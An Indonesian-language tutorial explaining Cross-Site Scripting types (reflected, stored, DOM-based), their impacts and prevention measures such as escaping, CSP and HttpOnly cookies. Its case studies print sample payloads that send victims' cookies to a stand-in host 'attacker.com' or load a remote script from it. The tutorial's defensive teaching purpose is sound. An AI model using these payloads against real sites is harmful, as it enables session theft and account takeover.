Cross-Site Scripting (XSS)
Pengantar
Cross-Site Scripting (XSS) adalah jenis serangan keamanan web di mana penyerang menyuntikkan kode jahat (biasanya JavaScript) ke dalam konten web yang kemudian dieksekusi oleh browser korban. Serangan ini memanfaatkan kepercayaan pengguna terhadap situs web tertentu.
"XSS adalah cara hacker mencuri data atau mengendalikan sesi pengguna melalui script jahat."
Apa Itu XSS?
Definisi
XSS (Cross-Site Scripting) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan script berbahaya ke halaman web yang dilihat oleh pengguna lain.
Bagaimana XSS Bekerja?
- Penyerang menemukan celah input yang tidak divalidasi.
- Menyuntikkan script berbahaya (misalnya
<script>alert('XSS')</script>). - Script tersebut dieksekusi di browser korban saat mengakses halaman tersebut.
- Script bisa mencuri cookie, sesi, atau mengarahkan pengguna ke situs berbahaya.
Jenis-Jenis XSS
| Jenis | Nama Lengkap | Deskripsi |
|---|---|---|
| Reflected XSS | Non-Persistent XSS | Script disuntikkan langsung melalui permintaan HTTP (URL), biasanya lewat link phishing. |
| Stored XSS | Persistent XSS | Script disimpan di server (misalnya database) dan ditampilkan kembali kepada pengguna lain. |
| DOM-based XSS | - | Script memanipulasi DOM (Document Object Model) tanpa interaksi langsung dengan server. |
Studi Kasus: Reflected XSS
Contoh
Penyerang membuat link palsu seperti:
http://example.com/search?q=<script>window.location='http://attacker.com/steal?cookie='+document.cookie</script>Alur Serangan
- Korban dikirim link ini melalui email atau pesan.
- Saat korban klik, script dieksekusi di browser.
- Cookie sesi korban dikirim ke server penyerang.
- Penyerang dapat masuk sebagai korban.
Studi Kasus: Stored XSS
Contoh
Form komentar di website tidak divalidasi dengan baik. Penyerang memasukkan:
<script>fetch('http://attacker.com/log', { method: 'POST', body: document.cookie });</script>Alur Serangan
- Komentar tersebut disimpan di database.
- Setiap kali pengguna mengakses halaman tersebut, script akan dieksekusi.
- Cookie pengguna dikirim ke server penyerang.
Studi Kasus: DOM-based XSS
Contoh
Sebuah halaman menggunakan parameter URL untuk menampilkan pesan selamat datang:
var name = location.hash.substring(1);
document.write("Welcome " + name);Alur Serangan
Penyerang mengirimkan link:
http://example.com/#<script src="http://attacker.com/xss.js"></script>Browser korban akan mengeksekusi script dari server penyerang.
Dampak Serangan XSS
| Dampak | Penjelasan |
|---|---|
| Pencurian Cookie & Sesi | Script bisa mencuri informasi login dan sesi pengguna. |
| Deface Web | Halaman web bisa dimodifikasi tampilannya. |
| Phishing | Membuat form palsu untuk mencuri kredensial. |
| Keylogging | Menyadap aktivitas keyboard pengguna. |
| Redirection | Mengarahkan pengguna ke situs berbahaya. |
Cara Mencegah XSS
1. Validasi Input
- Batasi karakter yang diperbolehkan pada semua input pengguna.
- Gunakan whitelist karakter alih-alih blacklist.
2. Sanitasi Output
- Gunakan escaping karakter berbahaya sebelum menampilkan data:
<→<>→>"→"'→'
3. Gunakan Content Security Policy (CSP)
CSP mencegah eksekusi inline-script.
Contoh header:
httpContent-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
4. Gunakan Framework Aman
- Framework seperti React, Angular, dan Vue memiliki built-in proteksi XSS.
- Hindari manipulasi DOM secara langsung.
5. Gunakan HttpOnly pada Cookie
- Tambahkan atribut
HttpOnlyagar cookie tidak bisa diakses via JavaScript.
6. Gunakan Anti-XSS Libraries
- PHP:
htmlspecialchars() - Python:
bleach - JavaScript: DOMPurify
Tips Keamanan untuk Pengembang
✅ Selalu validasi dan sanitasi setiap input pengguna
✅ Jangan pernah percaya data dari sumber eksternal
✅ Gunakan framework modern yang sudah aman
✅ Terapkan Content Security Policy (CSP)
✅ Gunakan HttpOnly dan Secure flag pada cookie
✅ Lakukan uji penetrasi dan code review secara berkala
Kesimpulan
XSS adalah salah satu ancaman keamanan paling umum di dunia web. Dengan memahami: 🔹 Jenis-jenis XSS: Reflected, Stored, DOM-based
🔹 Dampaknya: Pencurian sesi, deface, phishing
🔹 Cara mencegahnya: Validasi input, sanitasi output, CSP, HttpOnly
kamu bisa membangun aplikasi web yang lebih aman dan melindungi pengguna dari serangan berbahaya.